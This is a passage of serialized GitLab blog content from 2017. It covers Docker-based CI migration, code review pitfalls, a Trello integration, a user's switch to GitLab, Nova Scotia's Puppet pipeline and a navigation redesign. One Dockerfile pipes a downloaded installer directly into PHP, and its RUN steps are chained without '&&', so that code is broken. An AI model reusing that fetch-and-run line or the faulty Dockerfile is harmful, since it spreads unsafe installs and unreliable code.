--all\n    - git checkout ${CI_COMMIT_SHA}\n    - composer up\n```\n\n### Migration procedure\n\nWe start defining the image of which of GitLab’s Docker executors will run to perform the CI tasks. This is done by using the image keyword (line 1). This is a custom image we build to provide all the dependencies we need for our CI tasks. Here is the corresponding Dockerfile:\n\n```\nFROM php:5.6.30\n\nMAINTAINER Linagora Folks \u003Clgs-openpaas-dev@linagora.com>\n\nRUN apt-get update \\\n    apt-get -y install unzip git php5-curl php5-dev php-amqplib \\\n    docker-php-ext-install bcmath \\\n    pecl install mongo \\\n    docker-php-ext-enable mongo \\\n    curl https://getcomposer.org/installer | php \\\n    mv composer.phar /usr/local/bin/composer.phar \\\n    ln -s /usr/local/bin/composer.phar /usr/local/bin/composer\n```\n\nAs I mentioned before, our CI requires an external MongoDB service. But this time, Docker is here to do the magic. It helps us with configuring, starting and killing the service correctly. All what we have to do is to declare mongo as a service (line 4), et voilà!\n\nNow we have set up our environment, we can leverage script tag to test our code (lines 13–17) and deploy it (lines 24–27). It is worth noting that config.test.json contains all the configuration we have had in Jenkins (Lines 28–56 from Jenkins configuration).\n\n#### Running the GitLab job locally\n\nWe can easily test our GitLab builds locally using [GitLab Runner](https://gitlab.com/gitlab-org/gitlab-runner/blob/master/docs/commands/README.md). Here is the procedure:\n\n* Install it locally, either using a package repository or directly from here. If you do not want to install the GitLab Runner locally, you can always leverage Docker to do so. Have a look [here](https://gitlab.com/gitlab-org/gitlab-runner/issues/312).\n* Run the build: gitlab-runner exec docker {my-job}. Whereas, my-job is the name of the job defined in .gitlab-ci.yml. In our case, it is called build.\n\n#### Wrap up\n\nAs you can see, our CI job becomes easier to read thanks to GitLab and Docker. Along the same lines, we do not need to configure our machine to run tests anymore. Docker has got our back. In my opinion, the most important advantage of using Docker to run tests is to guarantee that our tests are always being run in the same conditions each time. These tests are totally isolated (and also independent) from the machine on which they run.\n\nThis post originally appeared on _[Medium](https://medium.com/linagora-engineering/docker-my-precious-6efbce900dcb)_.\n\n### About the Guest Author\n\nAbdulkader Benchi is the Javascript team leader at [Linagora](https://linagora.com/careers).\n",[815,1384],{"slug":35319,"featured":6,"template":678},"docker-my-precious","content:en-us:blog:docker-my-precious.yml","Docker My Precious","en-us/blog/docker-my-precious.yml","en-us/blog/docker-my-precious",{"_path":35325,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":35326,"content":35332,"config":35337,"_id":35339,"_type":16,"title":35340,"_source":17,"_file":35341,"_stem":35342,"_extension":20},"/en-us/blog/why-your-code-review-process-is-broken-and-how-to-fix-it",{"title":35327,"description":35328,"ogTitle":35327,"ogDescription":35328,"noIndex":6,"ogImage":35329,"ogUrl":35330,"ogSiteName":1180,"ogType":1181,"canonicalUrls":35330,"schema":35331},"Why your code review process is broken, and how to fix it","What do you do when you follow your code review process, and you’re still rudely greeted by code full of bugs, or a flood of user complaints?","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679775/Blog/Hero%20Images/why-your-code-review-process-is-broken-and-how-to-fix-it.jpg","https://about.gitlab.com/blog/why-your-code-review-process-is-broken-and-how-to-fix-it","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why your code review process is broken, and how to fix it\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Emily von Hoffmann\"}],\n        \"datePublished\": \"2017-07-25\",\n      }",{"title":35327,"description":35328,"authors":35333,"heroImage":35329,"date":35334,"body":35335,"category":6634,"tags":35336},[22017],"2017-07-25","\nPeople in every field can relate to the feeling of carefully moving down your checklist, triple-checking your work, and confidently *sending that email*, or *posting that tweet*, or *merging those changes*, only to at some later interval experience unmistakable stomach-sinking at some surprise snafu. That’s why we identify areas with potential for human error and build in review cycles with hopefully explicit steps and goals — like code reviews! So what about when you follow all of those steps and you’re still rudely greeted by code full of bugs, or a flood of user complaints?\n\n\u003C!-- more -->\n\nIn other words, why exactly did your code review process “fail” to deliver what you designed it for? It’s not just overt technical errors we’re looking to avoid; our Discussion Product Manager [Victor Wu](/company/team/#victorwu416) told me that we can think of code review as being ineffective if it results in code being shipped that doesn’t meet business or product goals. In this case, poor code review contributes to the ultimate failure, and may lead the product to snowball over time, becoming harder to fix and add new features. Here are a few scenarios with some thoughts on what might have contributed to the code review breakdown.\n\n### Feature shipped with a lot of defects\n\nThis one is easy to identify, but maybe not always as easy to remediate. What broke in the process that allowed this to happen? It might have something to do with rushed or unrealistic deadlines handed to developers, which we heard in our [Global Developer Survey](https://page.gitlab.com/2016-developer-survey_2016-developer-survey.html) is a major reason code gets shipped before it’s ready. One option here might be to try a cross-functional team, or review the channels available for communication with teammates in a different function than your own — the key to [better deadline-setting](/blog/why-code-is-released-too-early/) is finding ways to develop empathy for other teams’ needs, and that won’t happen if you’re siloed.\n\nIt can be even trickier if the problem arises from within the culture of the dev team itself. There can be a power dynamic and intimidation factor inherent in the review process that could make a more junior reviewer, for example, not stick to their guns when their suggestions are insufficiently addressed. At GitLab, we follow best practices, largely based on the [thoughtbot code review guide](https://github.com/thoughtbot/guides/tree/master/code-review), that are designed to create an effective environment for code reviews.\n\n>There can be a power dynamic and intimidation factor inherent in the review process that could make a more junior reviewer, for example, not stick to their guns when their suggestions are insufficiently addressed\n\nThe guide contains truisms that could apply to any setting where one’s creation might be critiqued by a teammate, like `avoid using terms that could be seen as referring to personal traits`, and `if you don't understand a piece of code, say so. There's a good chance someone else would be confused by it as well` for the reviewer, and `don't take it personally. The review is of the code, not of you` and `be grateful for the reviewer's suggestions` for the reviewee. It’s important to have the right person reviewing, and for everyone to internalize the respect and balance between the reviewee and reviewer roles.\n\n### Feature shipped with poor usability or did not solve the underlying business problem\n\nWhat happened here is likely to do with the [dynamic between the business and engineering teams](/blog/your-engineers-need-to-understand-your-business-heres-why/). Engineers may feel disheartened by business managers who seem solely concerned with functionality. This disregard can be reciprocal, with engineers focusing on delivering quality work but unconcerned with the business and the end users.\n\nIt’s not uncommon for engineers to be excluded from business discussions, until requirements are [thrown over the wall](/blog/your-engineers-need-to-understand-your-business-heres-why/) at them — this lack of alignment creates inefficiencies that can have long-term consequences. Engineers may feel uneasy about the timeline or the product direction, or they may simply feel whatever’s being asked of them is a bad idea. If their organization doesn’t have a channel open for them to discuss their concerns, they might feel they have no choice but to go along with it. Ideally, dev teams today will be heavily involved in business discussions, and they’ll have the responsibilities to match.\n\n>Ideally, dev teams today will be heavily involved in business discussions, and they’ll have the responsibilities to match\n\n### Feature shipped BUT...\n\nIt might be the case that all seems well when a feature ships, but going forward it takes much more time to develop new features, and there are many brittle edge cases. Victor told me that in this case, it’s more likely that the architecture is simply inadequate, and not enough effort was made to clean up tech debt. This is not the opportunistic tradeoff of tech debt and time to market that many startups weigh; it’s when tech debt feels like it’s spiraled out of control. This might be the confluence of the poor dynamics we’ve discussed above, with engineers pressed for time, [burned out and working long hours](https://codewithoutrules.com/2017/06/21/why-company-want-long-hours/), and perhaps feeling unable to push back against business demands.\n\nOn his blog *Code Without Rules*, Itamar Turner-Trauring [explains several possible reasons](https://codewithoutrules.com/2017/06/21/why-company-want-long-hours/) why organizations might have unhappy developers unable to do their best work, and he offers some tips for how individual developers might be able to regain some control over their work lives.\n\nWhat are other scenarios you’ve experienced? Leave a comment and let us know.\n",[2368,1444],{"slug":35338,"featured":6,"template":678},"why-your-code-review-process-is-broken-and-how-to-fix-it","content:en-us:blog:why-your-code-review-process-is-broken-and-how-to-fix-it.yml","Why Your Code Review Process Is Broken And How To Fix It","en-us/blog/why-your-code-review-process-is-broken-and-how-to-fix-it.yml","en-us/blog/why-your-code-review-process-is-broken-and-how-to-fix-it",{"_path":35344,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":35345,"content":35351,"config":35356,"_id":35358,"_type":16,"title":35359,"_source":17,"_file":35360,"_stem":35361,"_extension":20},"/en-us/blog/gitlab-trello-power-up-launch",{"title":35346,"description":35347,"ogTitle":35346,"ogDescription":35347,"noIndex":6,"ogImage":35348,"ogUrl":35349,"ogSiteName":1180,"ogType":1181,"canonicalUrls":35349,"schema":35350},"You asked, you got it: GitLab Power-Up comes to Trello","With 9.4 we shipped a GitLab Power-Up for Trello – attach a merge request to a Trello card and enjoy an even more seamless workflow.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671369/Blog/Hero%20Images/trello-power-up-blog-cover.png","https://about.gitlab.com/blog/gitlab-trello-power-up-launch","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"You asked, you got it: GitLab Power-Up comes to Trello\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Rebecca Dodd\"}],\n        \"datePublished\": \"2017-07-22\",\n      }",{"title":35346,"description":35347,"authors":35352,"heroImage":35348,"date":35353,"body":35354,"category":299,"tags":35355},[19026],"2017-07-22","\nTrello's most requested third-party Power-Up is now live! As of [GitLab 9.4](/releases/2017/07/22/gitlab-9-4-released/), Trello users can now connect to GitLab from within a Trello board and attach a merge request to a Trello card.\n\n\u003C!-- more -->\n\nThis integration has got a lot of people excited. Here's our VP of Product [Job van der Voort](/company/team/#Jobvo) demonstrating his enthusiasm for the Power-Up:\n\n![VP of Product Job van der Voort](https://about.gitlab.com/images/blogimages/trello-power-up-job.jpg)\n\nYou can follow more discussion around the integration [on the issue](https://gitlab.com/gitlab-org/gitlab-ce/issues/32042).\n\n## Here's the Power-Up in action\n\n![GitLab Trello Power-Up gif](https://about.gitlab.com/images/blogimages/trello-power-up-gif.gif)\n\n1. When viewing one of your boards in Trello, simply go to Power-Ups and select the GitLab Power-Up. After setup, you can search GitLab merge requests from within a Trello card and attach one to the card.\n\n2. Click through to the attached merge request directly from the card.\n\nSimple!\n\n## How it helps\n\nWe're always looking for ways to streamline developer workflows and reduce the need for context-switching. The less time spent stringing together tooling, the better. GitLab's Trello Power-Up integrates two popular platforms to tighten up the development process and make the experience of using GitLab and Trello even better.\n\n![GitLab Trello Power-Up screengrab](https://about.gitlab.com/images/blogimages/trello-power-up-screengrab.png){: .shadow\n\n## What's next\n\nAs always, as a new feature this is in its first iteration. Our community has already asked for further integration, such as creating branches and commits from within Trello cards as well. Give the new Power-Up a try and let us know how we can improve on it by opening [a feature request](https://gitlab.com/gitlab-org/trello-power-up/issues). As part of our [Community Edition](https://gitlab.com/gitlab-org/gitlab-ce), the code for the Power-Up is hosted on [gitlab.com/gitlab-org/trello-power-up](https://gitlab.com/gitlab-org/trello-power-up), and anyone can contribute to future iterations 🚀\n\n## Get started\n\nOur documentation contains everything you need to know to get the Power-Up running. [Read the documentation for GitLab Power-Up for Trello here](https://docs.gitlab.com/ee/integration/trello_power_up.html).\n",[232],{"slug":35357,"featured":6,"template":678},"gitlab-trello-power-up-launch","content:en-us:blog:gitlab-trello-power-up-launch.yml","Gitlab Trello Power Up Launch","en-us/blog/gitlab-trello-power-up-launch.yml","en-us/blog/gitlab-trello-power-up-launch",{"_path":35363,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":35364,"content":35370,"config":35376,"_id":35378,"_type":16,"title":35379,"_source":17,"_file":35380,"_stem":35381,"_extension":20},"/en-us/blog/git-wars-switching-to-gitlab",{"title":35365,"description":35366,"ogTitle":35365,"ogDescription":35366,"noIndex":6,"ogImage":35367,"ogUrl":35368,"ogSiteName":1180,"ogType":1181,"canonicalUrls":35368,"schema":35369},"Git Wars: Why I'm switching to GitLab","New GitLab user Christopher Watson puts us through our paces and weighs up his Git hosting options.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680411/Blog/Hero%20Images/git-wars-switching-to-gitlab.jpg","https://about.gitlab.com/blog/git-wars-switching-to-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Git Wars: Why I'm switching to GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Christopher Watson\"}],\n        \"datePublished\": \"2017-07-19\",\n      }",{"title":35365,"description":35366,"authors":35371,"heroImage":35367,"date":35373,"body":35374,"category":734,"tags":35375},[35372],"Christopher Watson","2017-07-19","\n\nIt’s a well-known fact: GitHub has the market share when it comes to Git hosting, with Bitbucket following close behind due to their “unlimited private repositories” policy. But what if I told you that those weren’t your only options?\n\n\u003C!-- more -->\n\nNow I have nothing against GitHub. It’s a great tool and I’ve been using it for years. It’s built primarily in a framework I love, Ruby on Rails, and its design is one we’ve all come to tolerate (if not love). With GitHub controlling most of the market share, most open source projects have also found a home there.\n\nAll of this being said, I’d be lying if I said that GitHub didn’t have its downsides. If you want private repositories, it’s going to cost you a pretty penny at $25 per month for your first five users, and then $9 per user after that. For comparison's sake, if you have 10 users in your organization it’s going to cost you $80 a month, and that’s a pretty small team. GitHub also has a sordid history when it comes to communicating with the community, implementing new features, and updating its somewhat dated look.\n\nBitbucket is another beast altogether. Created by the tech conglomerate Atlassian, Bitbucket is their answer to GitHub. Its claim to fame is that you can have unlimited private repositories for free…as long as your team has no more than five people.\n\nThis is actually the reason I first started using Bitbucket. However, if you do have more than five people, you’re going to pay, and the quality that you pay for isn’t all that great. I’ve worked on a number of projects on Bitbucket where my team was plagued by slow pulls/pushes, 503 errors when attempting to view a repo, and just overall jankyness. Besides that, their design also leaves a lot to be desired. The new design looks better, but also somehow makes things even more confusing (someone needs to learn the difference between UI and UX). To be completely honest I don’t have anything good to say about Bitbucket, so I’m going to continue.\n\n### So what’s this GitLab thing? Is it the answer to all of our Git hosting woes?\n\nWell yes and no. GitLab is a very good product, but it’s not perfect. It certainly isn’t as fast as GitHub when it comes to pushing and pulling repos. That being said, here are my reasons for switching to GitLab for my personal projects: GitLab is a Git hosting solution with a very large toolset and, objectively, a beautifully designed website (could it still use some work? Yes, but I digress). It is completely free for unlimited users, unlimited private repositories, and full access to most of the awesome features they provide.\n\nYes, they still have paid tiers for the [enterprise](/enterprise/). You can’t expect them to keep an awesome project like this going without some kind of monetization, but for us little guys you’ll most likely never have to pay. That has got to be music to your ears.\n\n### So you said it has “awesome features.” To what are you referring?\n\nWell, there’s quite a list. Let’s take a look:\n\n1. **Syntax themes!** In case you didn’t get that, I’ll say it again: syntax themes! This has been something that I have been waiting a long time for GitHub to come out with, but GitLab beat them to the punch. We’re still probably a long way away from having custom themes, but the ability to have a dark theme when checking diffs in the browser is awesome.\n\n1. **Registry:** GitLab also has a built-in Docker registry for your projects. This is an amazingly powerful feature for those that want to keep their containers off of the public registry at hub.docker.com, but don’t want to pay for a private service.\n\n1. **Pipelines/GitLab CI:** Continuous integration is a huge time saver and a great way to make sure a pull request isn’t going to break your app. GitLab saves you from having to use an external CI service by having their own CI built right in. Not to say you can’t use an external CI if you want; GitLab has integrations for Jenkins, Bamboo, and much more.\n\n1. **3rd Party Integrations:** As mentioned above, GitLab has 3rd party integrations for several services such as CI, code coverage, messaging, etc. Their Slack integration is great for notifying your team when stuff has been merged into master. I will be honest though, I am sure GitHub has more integrations.\n\n1. **All the features that make GitHub great:** GitLab also ships with Wikis, Markdown-based readmes, etc. You don’t really lose any features by switching, but you gain a ton.\n\n![screengrab](https://about.gitlab.com/images/blogimages/git-wars-2.png){: .shadow}\u003Cbr>\n\n### So if it’s so great, why isn’t everyone using it?\n\nThere are a couple of answers to that question. First off, you have the market share factor. GitHub was one of the first Git hosting providers to market and they’ve managed to hold onto that. That means that if you want people to contribute to your project, it helps to have it on GitHub because chances are the people that you want to contribute have an account.\n\nThe other answer is related. Comfortability. People are simply comfortable with the tool they know and a lot of people aren’t like me (willing to throw everything out the window because I truly believe that the better product should get my business). This is the same reason so many people are still using Atlassian products. It’s definitely not because of their user interfaces.\n\n### So where should I go from here?\n\nThat depends on you. If you’re comfortable getting to know a new way of doing things, I’d suggest you take a look at GitLab. It really is worth the time you’ll put into it.\n\nIf you’re already *comfortable* then go ahead and stick with what you know, but at least now you know that there are alternatives.\n\n## About the Author\n\n[Chris Watson](https://twitter.com/idev0urer) is a freelance full-stack developer who occasionally enjoys sharing some of his many opinions with the world. He and his wife currently reside in sunny Arizona.\n\n_This post was originally published on [blog.cwatsondev.com](https://blog.cwatsondev.com/git-wars-why-im-switching-to-gitlab/)._\n\n“[paper battle](https://www.flickr.com/photos/die_ani/9024130/)” by [anika](https://www.flickr.com/photos/die_ani/) is licensed under [CC0 1.0](https://creativecommons.org/publicdomain/zero/1.0/)\n{: .note}\n",[1067,815,4772],{"slug":35377,"featured":6,"template":678},"git-wars-switching-to-gitlab","content:en-us:blog:git-wars-switching-to-gitlab.yml","Git Wars Switching To Gitlab","en-us/blog/git-wars-switching-to-gitlab.yml","en-us/blog/git-wars-switching-to-gitlab",{"_path":35383,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":35384,"content":35390,"config":35395,"_id":35397,"_type":16,"title":35398,"_source":17,"_file":35399,"_stem":35400,"_extension":20},"/en-us/blog/how-we-use-gitlab-at-the-province-of-nova-scotia",{"title":35385,"description":35386,"ogTitle":35385,"ogDescription":35386,"noIndex":6,"ogImage":35387,"ogUrl":35388,"ogSiteName":1180,"ogType":1181,"canonicalUrls":35388,"schema":35389},"How we use GitLab at the Province of Nova Scotia","The Unix operations team at the Province of Nova Scotia decided to implement GitLab for source control and CI/CD. Here's how we started exploring DevOps.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670226/Blog/Hero%20Images/how-we-use-gitlab-at-nova-scotia.jpg","https://about.gitlab.com/blog/how-we-use-gitlab-at-the-province-of-nova-scotia","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we use GitLab at the Province of Nova Scotia\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Steven Zinck\"},{\"@type\":\"Person\",\"name\":\"Paul Badcock\"}],\n        \"datePublished\": \"2017-07-18\",\n      }",{"title":35385,"description":35386,"authors":35391,"heroImage":35387,"date":35392,"body":35393,"category":734,"tags":35394},[35181,35182],"2017-07-18","\n\nIn 2015 the Unix operations team at the Province of Nova Scotia decided to implement GitLab for source control and [Continuous Integration and Continuous Deployment](/solutions/continuous-integration/). This was the beginning of our foray into DevOps practices. This article describes our automated testing, integration and release of Puppet code.\n\n\u003C!-- more -->\n\n![Image via Steve Zinck and Paul Badcock](https://about.gitlab.com/images/blogimages/nova-scotia-devops/devops-infinity-graphic.png){: .shadow}\u003Cbr>\n\nYou can also learn more about our DevOps transformation by watching our recent interview:\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/SHdeqznJXbc\" frameborder=\"0\" allowfullscreen=\"true\">\u003C/iframe>\n\u003C/figure>\n\n### Source control\n\nA source control management (SCM) system allows the user to “commit” code, documentation and other system artifacts such as configuration files to a central location. Each change results in a new version of the file, and previous versions of the file remain available on the SCM. Restoring a previous version is quick and easy.\n\nWe needed a way for multiple sysadmins to be able to work on code without colliding with one another. We also needed a way to vet changes through a peer review process. GitLab makes this easy thanks to its support of branching and merge requests. Branching allows a sysadmin to create an individual copy of the production code (“master”) and work with it in isolation — this allows multiple team members to be working on the same production code base without being concerned about conflicts between their work.\n\n### Continuous integration\n\n![Image via Steve Zinck and Paul Badcock](https://about.gitlab.com/images/blogimages/nova-scotia-devops/ci-cd-workflow.png){: .shadow}\u003Cbr>\n\nAs we built out more of our infrastructure with Puppet, we needed an automated way of testing our code. Over time, our test strategy has evolved to include automated [syntax checking](https://puppet.com/blog/verifying-puppet-checking-syntax-and-writing-automated-tests), [linting](http://puppet-lint.com/), [unit](https://puppet.com/blog/unit-testing-rspec-puppet-for-beginners) and [integration](http://serverspec.org/) tests. Manual testing was not sufficient, as it was often forgotten about and was very time consuming. Automated testing solved that — for every code commit, the test pipeline is executed. A complete test cycle currently takes under five minutes.\n\nOn each code commit to a branch other than master, the following test pipeline is kicked off by GitLab CI:\n\n![Image via Steve Zinck and Paul Badcock](https://about.gitlab.com/images/blogimages/nova-scotia-devops/ci-screenshot.png){: .shadow}\u003Cbr>\n\nIf at any point a job fails, the pipeline stops and the sysadmin is notified. One of the great features of GitLab CI is its tight integration with Docker — each of the jobs above is run inside its own isolated container. The syntax-lint-spec job verifies that the Puppet syntax is good; linting confirms the code conforms to best practices; and spec confirms that logically the code functions as designed.\n\nThe test-kitchen jobs are a full suite of [ServerSpec](http://serverspec.org/) tests. We automatically provision four containers that represent our four most common configurations. Our Puppet code is applied to each container to verify that it will work in our production environment. This acts as a full regression test each time a code commit is made, and ensures that there were no unintended problems introduced. It gives us confidence that the code is actually doing what it’s intended to do.\n\n### Continuous deployment\n\nOnce all of the tests pass, the sysadmin can submit a merge request for their branch, and it will be reviewed by a senior staff member before reaching production. This is an important part of our workflow, because it gives junior staff the confidence that a more senior member of the team will review and approve a change before it reaches any of our servers. If the merge request is accepted, the branch will be merged into master and at that point GitLab CI will push the code to our Red Hat Satellite and Puppet Enterprise servers where it will be deployed to our environment.\n\n![Image via Steve Zinck and Paul Badcock](https://about.gitlab.com/images/blogimages/nova-scotia-devops/cd-screenshot.jpeg){: .shadow}\u003Cbr>\n\nYou can find the configuration files (Dockerfiles, .kitchen.yml, .gitlab-ci.yml and Satellite push script) at our [GitHub](https://github.com/nsgov).\n\nThe implementation of our system automation strategy and the toolset we selected has proven itself many times. We are spending less time fighting fires due to the streamlined and tested nature of our deployments and have earned the confidence of our clients.\n\n### The road ahead\n\nIn upcoming articles, we’ll write about the CI/CD process we built with [Communications Nova Scotia](https://novascotia.ca/cns/) that allows their development team to deploy and roll back their Dockerized application environment on demand. We also plan to write about our automated test strategy for Red Hat Ansible.\n\nThis post originally appeared on [*Medium*](https://medium.com/@szinck/how-we-use-gitlab-at-the-province-of-nova-scotia-708b514cc47f).\n\n## About the Guest Authors\n\n[Steve Zinck](https://www.linkedin.com/in/stevezinck/) spent most of his career working in the Public Service as a Unix and Infrastructure administrator. Over the past few years, he's started to transition away from traditional systems administration and begun to focus on software delivery and automation. As part of that transition, his team has implemented GitLab at the core of our automation and software delivery stack. His current focus is working with software and application teams to assist in streamlining their deployment and delivery process.\n\n[Paul Badcock](https://www.linkedin.com/in/pbadcock/?ppe=1) started working in the IT sector in 1998 with positions in small startups, to large fortune 500 companies, to currently on a public-sector team. His career was focused as a traditional IT Linux administrator until in the mid-2000s he started focusing on adopting development tooling, practices and methodologies for operational teams. This work culminated in implementing an early 2010s DevOps workplace framework with the help of @stewbawka and subsequently working with like-minded teams since. As a part of adopting developer tools he has previously worked with and managed CVS, SVN installations and various vendor products before reading a “Show HN” posting on Hacker News about GitLab.\n",[4103,110,1444],{"slug":35396,"featured":6,"template":678},"how-we-use-gitlab-at-the-province-of-nova-scotia","content:en-us:blog:how-we-use-gitlab-at-the-province-of-nova-scotia.yml","How We Use Gitlab At The Province Of Nova Scotia","en-us/blog/how-we-use-gitlab-at-the-province-of-nova-scotia.yml","en-us/blog/how-we-use-gitlab-at-the-province-of-nova-scotia",{"_path":35402,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":35403,"content":35409,"config":35414,"_id":35416,"_type":16,"title":35417,"_source":17,"_file":35418,"_stem":35419,"_extension":20},"/en-us/blog/redesigning-gitlabs-navigation",{"title":35404,"description":35405,"ogTitle":35404,"ogDescription":35405,"noIndex":6,"ogImage":35406,"ogUrl":35407,"ogSiteName":1180,"ogType":1181,"canonicalUrls":35407,"schema":35408},"Redesigning GitLab's navigation","After a series of research and brainstorming sessions, we are excited to share with the community our redesign of GitLab's navigation.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679771/Blog/Hero%20Images/redesign-navigation-cover-image.jpg","https://about.gitlab.com/blog/redesigning-gitlabs-navigation","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Redesigning GitLab's navigation\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Taurie Davis\"}],\n        \"datePublished\": \"2017-07-17\",\n      }",{"title":35404,"description":35405,"authors":35410,"heroImage":35406,"date":35411,"body":35412,"category":734,"tags":35413},[19672],"2017-07-17","\n\nAt GitLab, we are taking big steps towards refining our interface in an effort to make the [idea to production](/learn/) workflow more productive. After a series of research and brainstorming sessions, we are excited to share with the community our redesign of GitLab's navigation.\n\n\u003C!-- more -->\n\n## Research and insight\n\nBack in March, we began our first of three rounds of user testing related to our navigation architecture. We knew from previous feedback that navigating GitLab's features was complex, difficult, and could be drastically improved. One of the major pitfalls we discovered in [this round](https://gitlab.com/gitlab-org/gitlab-ce/issues/29878) was confusion between global content vs. contextual content for new users when navigating. This was a large source of frustration when trying to find projects, or distinguish between your personal space and memberships.\n\n- **Global content** refers to the elements that are always available to you. Example: Your projects, issues, merge requests, and explore sections.\n\n- **Contextual content** refers to the elements that change based on the page you are viewing. Example: The content of an individual group page vs. a project page.\n\nUsing the data we gathered from our first round of testing, we began putting together common themes. This allowed us to gather questions and assumptions, which informed our next [prototype](https://gitlab-org.gitlab.io/gitlab-design/hosted/pedro/ux-research-4-navigation-usability-test-prototype-html-previews/#/screens/226216190) to test from. Our research team created a script that would walk users through a number of tasks. This script was then used to help us validate the assumptions we had made in our brainstorm session.\n\n{: .text-center}\n![Script](https://about.gitlab.com/images/blogimages/redesigning-gitlabs-navigation/script.png){: .shadow}\n\nWe [wrote up our findings from this round](https://gitlab.com/gitlab-org/ux-research/issues/5), identifying problem areas through the insight we gained by watching real users interact with our prototype. The team then set out to create a new design that addressed the interaction flaws we had identified during our testing.\n\n## Further discovery\n\nThrough a series of brainstorm sessions, the team created two new prototypes to use in testing. During [this round of testing](https://gitlab.com/gitlab-org/ux-research/issues/7), six users were shown [Prototype A](https://gitlab-org.gitlab.io/gitlab-design/hosted/chris/ux-research-7-prototype--vertical-breadcrumbs.framer/) and another six were shown [Prototype B](https://gitlab-org.gitlab.io/gitlab-design/hosted/chris/ux-research-7-prototype--horizontal-breadcrumbs.framer/). Each prototype used the same series of tasks, allowing us to track usability issues from each prototype individually, as well as compare the average time taken per task.\n\n**Prototypes A and B**\n![Prototype B](https://about.gitlab.com/images/blogimages/redesigning-gitlabs-navigation/prototypes.gif){: .shadow}\n\nDuring this third round of testing, we discovered that the majority of users were able to identify the difference between their global content from their contextual content after a few completed tasks. This was an improvement from our previous research which showed that users could finish a usability testing session without gaining an understanding of global vs. contextual content.\n\n## A shippable product\n\nFrom the data we gathered in our third and final round of testing, we began putting together a design that could be shipped in our 9.4 release. We took the most successful aspects of both prototypes and created a mockup that addressed the major pain points we discovered during all of our testing.\n\nWe knew from previous feedback and from our research that including the global navigation links on the top navigation bar was superior to hiding them in a hidden hamburger menu. Openly displaying them in the top navigation allows users to easily and quickly access the information that they revisit often.\n\n![Sidebar](https://about.gitlab.com/images/blogimages/redesigning-gitlabs-navigation/navigation-global-links-sidebar.png){: .shadow}\n\nWe also learned that including a standard breadcrumb menu helped users orient themselves. It became much easier for new and seasoned users to understand where they were located and navigate up a level.\n\n![Breadcrumb](https://about.gitlab.com/images/blogimages/redesigning-gitlabs-navigation/navigation-global-links--longer-project.png){: .shadow}\n\nKey experience decisions like these gave us a base for finalizing the foundation of the redesign. Afterwards, we began to take a closer look at the interface, add color, and define different states. Color played a key role in not only giving GitLab its own look and feel, but also further differentiating the global content from the contextual. We worked through [many iterations](https://gitlab.com/gitlab-org/gitlab-ce/issues/34402), until we nailed down an interface that used color as a guide and not as a distraction.\n\n![Final redesign](https://about.gitlab.com/images/blogimages/redesigning-gitlabs-navigation/final.png){: .shadow}\n\n## Continuing to iterate\n\nWe are excited to share our progress with the community and even more excited that this is just the beginning. There are a number of improvements that we are working on in order to further improve our navigation. A few of these features include:\n\n- Adding a fly-out drop down to the contextual navigation, making it easier and faster to reach sub menu items. [#34026](https://gitlab.com/gitlab-org/gitlab-ce/issues/34026)\n- Make the contextual sidebar collapsible to allow for more screen real estate. [#34028](https://gitlab.com/gitlab-org/gitlab-ce/issues/34028)\n- Adding multiple color palette options for differentiating instances. [#35012](https://gitlab.com/gitlab-org/gitlab-ce/issues/35012)\n- Adding content to global navigation dropdowns to allow easier access to recent projects and groups. [#35010](https://gitlab.com/gitlab-org/gitlab-ce/issues/35010)\n- Adding the contextual navigation on mobile devices. [#34036](https://gitlab.com/gitlab-org/gitlab-ce/issues/34036)\n\nYou can see our current list of issues planned for 9.5 in our [Meta: Global and contextual navigation](https://gitlab.com/gitlab-org/gitlab-ce/issues/32794) issue.\n\n## Try it yourself\n\nWe know that a UI change as large as a navigation redesign can be disruptive to workflow and habits but we hope that you will find GitLab much easier to navigate in 9.4! We actively worked to turn research and analysis into insight that would inform a more productive navigation architecture for GitLab. We have a number of improvements to make, and are including a way to turn the new navigation on and off while we continue to gather feedback and iterate in the next release. To turn the new navigation on, click your user profile dropdown and select \"Turn on new navigation\" or visit [your user preferences](https://gitlab.com/profile/preferences#new-navigation).\n\n{: .text-center}\n![Turn on new nav](https://about.gitlab.com/images/blogimages/redesigning-gitlabs-navigation/turn-on-nav.png){: .shadow}\n\n## Feedback\n\nAfter several rounds of UX research and taking into account the feedback received from the community, we believe we have a UX solution that greatly improves navigating GitLab. In addition to the roll out in 9.4 and the scheduled improvements for 9.5, we have created a [feedback issue](https://gitlab.com/gitlab-org/gitlab-ce/issues/34917) to collect, track, and act upon further feedback from the community. We would love to hear your thoughts so don't hesitate to leave us a comment below or in the issue!\n",[2249],{"slug":35415,"featured":6,"template":678},"redesigning-gitlabs-navigation","content:en-us:blog:redesigning-gitlabs-navigation.yml","Redesigning Gitlabs 